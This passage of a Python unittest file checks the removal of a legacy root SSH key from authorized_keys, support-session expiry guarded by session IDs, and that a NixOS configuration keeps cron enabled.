self.assertIn("another@host", result)
|
|
|
|
def test_same_comment_different_blob_preserved(self):
|
|
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
|
|
lines = (
|
|
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
|
|
)
|
|
changed, result = self._do_removal(lines)
|
|
self.assertFalse(changed)
|
|
self.assertIn("DIFFERENTBLOB", result)
|
|
|
|
def test_legacy_key_with_different_comment_removed(self):
|
|
"""The exact blob with any comment (or no comment) must be removed."""
|
|
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
|
|
changed, result = self._do_removal(lines)
|
|
self.assertTrue(changed)
|
|
self.assertNotIn(self.TARGET_BLOB, result)
|
|
|
|
def test_unrelated_keys_preserved(self):
|
|
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
|
|
changed, result = self._do_removal(lines)
|
|
self.assertFalse(changed)
|
|
self.assertEqual(result, lines)
|
|
|
|
def test_empty_file_unchanged(self):
|
|
changed, result = self._do_removal("")
|
|
self.assertFalse(changed)
|
|
self.assertEqual(result, "")
|
|
|
|
def test_comment_line_preserved(self):
|
|
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
|
|
changed, result = self._do_removal(lines)
|
|
self.assertFalse(changed)
|
|
self.assertEqual(result, lines)
|
|
|
|
def test_missing_file_returns_false(self):
|
|
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
|
|
self.assertFalse(result)
|
|
|
|
def test_audit_callback_called(self):
|
|
events = []
|
|
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
|
with open(auth_keys, "w") as f:
|
|
f.write(lines)
|
|
support_ops.remove_legacy_root_key(
|
|
auth_keys, self.TARGET_BLOB,
|
|
audit_fn=lambda event, details="": events.append(event),
|
|
)
|
|
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Support session expiry — production-backed tests
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestSupportSessionExpiration(unittest.TestCase):
|
|
"""expire_if_stale must enforce expiry and the session_id guard.
|
|
|
|
All tests call the exact production implementation from support_ops with
|
|
temporary files and injectable clock/disable functions.
|
|
"""
|
|
|
|
def _write_session(self, tmpdir, **fields) -> str:
|
|
status_file = os.path.join(tmpdir, "support-session-status")
|
|
with open(status_file, "w") as f:
|
|
json.dump(fields, f)
|
|
return status_file
|
|
|
|
def test_future_expiry_not_expired(self):
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
)
|
|
self.assertFalse(result)
|
|
self.assertFalse(disabled[0])
|
|
|
|
def test_past_expiry_expired(self):
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
)
|
|
self.assertTrue(result)
|
|
self.assertTrue(disabled[0])
|
|
|
|
def test_no_expiry_recent_session_not_expired(self):
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
|
|
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
|
|
self.assertFalse(result)
|
|
|
|
def test_no_expiry_old_session_expired(self):
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
)
|
|
self.assertTrue(result)
|
|
self.assertTrue(disabled[0])
|
|
|
|
def test_session_id_guard_matching_expires(self):
|
|
"""Timer with matching session_id must expire the session."""
|
|
import time
|
|
sid = "test-session-id"
|
|
exp = time.time() - 1
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
session_id=sid,
|
|
expected_expiry=exp,
|
|
)
|
|
self.assertTrue(result)
|
|
self.assertTrue(disabled[0])
|
|
|
|
def test_stale_timer_does_not_revoke_replacement_session(self):
|
|
"""A timer for an old session must not revoke a newer replacement session."""
|
|
import time
|
|
old_sid = "old-session"
|
|
new_sid = "new-session"
|
|
exp = time.time() - 1
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
# Current session has the NEW session id
|
|
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
|
|
disabled = [False]
|
|
# Timer fires with OLD session id
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
session_id=old_sid, # stale — doesn't match stored new_sid
|
|
expected_expiry=exp,
|
|
)
|
|
self.assertFalse(result, "stale timer must not revoke replacement session")
|
|
self.assertFalse(disabled[0])
|
|
|
|
def test_stale_expiry_mismatch_does_not_revoke(self):
|
|
"""A timer with mismatched expected_expiry must not revoke."""
|
|
import time
|
|
sid = "same-sid"
|
|
exp = time.time() - 1
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
session_id=sid,
|
|
expected_expiry=exp, # differs from stored exp+999
|
|
)
|
|
self.assertFalse(result)
|
|
self.assertFalse(disabled[0])
|
|
|
|
def test_startup_reconciliation_with_live_session(self):
|
|
"""On startup, a live session must not be expired."""
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
|
|
disabled = [False]
|
|
result = support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
|
)
|
|
self.assertFalse(result)
|
|
self.assertFalse(disabled[0])
|
|
|
|
def test_audit_callback_receives_support_expired_event(self):
|
|
import time
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
|
events = []
|
|
support_ops.expire_if_stale(
|
|
sf,
|
|
clock_fn=time.time,
|
|
audit_fn=lambda event, details="": events.append(event),
|
|
)
|
|
self.assertIn("SUPPORT_EXPIRED", events)
|
|
|
|
def test_zero_enabled_at_not_expired(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
sf = self._write_session(tmpdir, enabled_at=0)
|
|
result = support_ops.expire_if_stale(sf)
|
|
self.assertFalse(result)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Cron composition
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestCronComposition(unittest.TestCase):
|
|
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
|
|
|
|
def _get_config_content(self):
|
|
path = os.path.join(_REPO_ROOT, "configuration.nix")
|
|
with open(path) as f:
|
|
return f.read()
|
|
|
|
def test_cron_not_disabled(self):
|
|
"""services.cron.enable = false must not appear in configuration.nix."""
|
|
self.assertNotIn("services.cron.enable = false", self._get_config_content())
|
|
|
|
def test_sovran_ddns_update_timer_in_njalla(self):
|
|
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
|
|
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
|
|
with open(path) as f:
|
|
content = f.read()
|
|
self.assertIn("sovran-ddns-update", content)
|
|
self.assertNotIn("services.cron", content)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|